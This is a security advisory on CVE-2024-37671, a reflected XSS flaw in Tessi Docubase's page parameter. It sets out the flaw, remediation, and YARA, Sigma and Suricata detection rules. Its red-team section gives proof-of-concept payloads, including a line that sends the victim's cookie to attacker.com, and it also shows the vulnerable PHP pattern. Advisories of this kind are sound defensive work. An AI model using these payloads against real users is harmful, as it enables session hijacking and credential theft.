CVE-2024-37671

Executive Summary

CVE-2024-37671 is a Cross-Site Scripting (XSS) vulnerability identified in the Tessi Docubase Document Management product, version 5.x. The flaw resides in the page parameter, allowing a remote attacker to inject arbitrary web scripts or HTML. When a victim visits a crafted URL, the injected script executes in the context of their browser session, potentially leading to session hijacking, credential theft, or defacement. No official patch or exploit code has been published at this time, and the CVSS score remains unassigned. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and CWE-79 (Improper Neutralization of Input During Web Page Generation).

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a proprietary enterprise application (Tessi Docubase) and should be assessed within the context of internal software supply chain management.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0 (UNKNOWN). Based on the nature of the vulnerability (reflected XSS), a reasonable estimated vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R)
• Scope (S): Changed (C)
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS:3.1 Score: 6.1 (Medium)

Threat Level: Medium. Exploitation requires user interaction (clicking a crafted link), but no authentication is needed. The impact is limited to the victim's browser session.

Deep Dive & Mechanics

The vulnerability is a classic reflected Cross-Site Scripting (XSS) flaw. The page parameter in the Tessi Docubase application is not properly sanitized or encoded before being reflected back to the user's browser.

Attack Flow:

1. An attacker crafts a malicious URL: https://target/docubase/page?page=<script>alert('XSS')</script>
2. The attacker sends this link to a victim (e.g., via email, social engineering).
3. The victim clicks the link and is directed to the vulnerable Tessi Docubase application.
4. The application processes the page parameter and includes the unsanitized payload in the HTTP response.
5. The victim's browser executes the injected script, allowing the attacker to perform actions such as stealing cookies, redirecting to phishing sites, or capturing keystrokes.

Root Cause: Lack of output encoding or input validation on the page parameter. The application likely uses the parameter value directly in the HTML response without proper escaping.

Vulnerable vs. Patched Code

Since no patch is available, the following demonstrates the vulnerable pattern and a secure alternative.

Vulnerable Code (Conceptual - PHP/ASP.NET):

<?php
$page = $_GET['page'];
echo "<div class='page-content'>" . $page . "</div>";
?>

Patched Code (Secure - Output Encoding):

<?php
$page = $_GET['page'];
echo "<div class='page-content'>" . htmlspecialchars($page, ENT_QUOTES, 'UTF-8') . "</div>";
?>

The patched version uses htmlspecialchars() to convert special characters (like <, >, ", ', &) into their HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable instance of Tessi Docubase 5.x.
• A web browser or tool like curl.

Proof-of-Concept (PoC) Payload:

<script>alert('XSS_CVE-2024-37671')</script>

Crafted URL:

https://target/docubase/page?page=<script>alert('XSS_CVE-2024-37671')</script>

Advanced Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Usage:

1. Replace target with the actual hostname.
2. Send the crafted URL to a victim.
3. Monitor your attacker-controlled server for incoming cookie data.

Blue Team (Defensive)

Detection Steps:

1. Web Application Firewall (WAF) Rules: Block requests containing <script> tags in the page parameter.
2. Log Monitoring: Search web server logs for unusual patterns in the page parameter, e.g., page=<script, page=alert(, page=onerror=.
3. User Awareness: Train users not to click suspicious links, especially those containing query parameters.

Mitigation (Temporary):

• Implement a reverse proxy or WAF rule to sanitize the page parameter.
• Disable the vulnerable functionality if possible until a patch is released.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with page parameter containing <script>, onerror, onload, javascript:.
  • Outbound connections to attacker-controlled domains from the victim's browser.
• File IOCs:
  • No specific file-based IOCs; this is a server-side application vulnerability.
• Log IOCs:
  • Web server logs showing GET /docubase/page?page=<script>... with a 200 response.
  • Referer headers pointing to phishing or malicious sites.

Detection Engineering

YARA Rule

rule CVE_2024_37671_XSS_Detection {
    meta:
        description = "Detects XSS attempts targeting Tessi Docubase page parameter"
        author = "Valters IT"
        date = "2024-07-01"
        reference = "CVE-2024-37671"
    strings:
        $xss1 = /page\?page=.*<script/i
        $xss2 = /page\?page=.*onerror/i
        $xss3 = /page\?page=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-37671 Tessi Docubase XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts against the page parameter in Tessi Docubase
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'page='
        cs-uri-query|contains|all:
            - '<script'
            - '>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in documentation (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-37671 Tessi Docubase XSS Attempt"; flow:to_server; content:"GET"; http_method; content:"/docubase/page"; http_uri; content:"page="; http_uri; pcre:"/page\?page=.*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Apply input validation and output encoding to the page parameter. Use a security library (e.g., OWASP Java Encoder, Microsoft AntiXSS) to sanitize user input.
2. Vendor Patch: Contact Tessi for an official patch. Monitor their security advisory page.
3. WAF Rules: Deploy virtual patching via a Web Application Firewall to block XSS patterns in the page parameter.
4. Code Review: Conduct a thorough code review of all user-facing parameters for similar injection flaws.
5. User Training: Educate users on the risks of clicking untrusted links.

Valters IT
Securing Digital Frontiers